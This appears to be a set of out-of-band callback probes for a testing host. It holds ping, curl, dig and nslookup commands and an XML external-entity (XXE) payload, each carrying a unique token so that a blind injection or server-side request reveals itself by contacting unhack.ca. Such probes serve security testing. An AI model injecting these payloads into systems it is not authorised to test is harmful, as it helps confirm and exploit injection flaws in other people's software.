$ ping -c1 -p 0046ff94f218b8f2ac14d0c90e0e5800 unhack.ca
 

$ curl http://unhack.ca/p/46ff94f218b8f2ac14d0c90e0e58
 

$ dig 46ff94f218b8f2ac14d0c90e0e58 @unhack.ca
 

$ dig 46ff94f218b8f2ac14d0c90e0e58.ns.unhack.ca
 

C:\> nslookup 46ff94f218b8f2ac14d0c90e0e58 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/46ff94f218b8f2ac14d0c90e0e58">]>
    <foo>&xxe;</foo>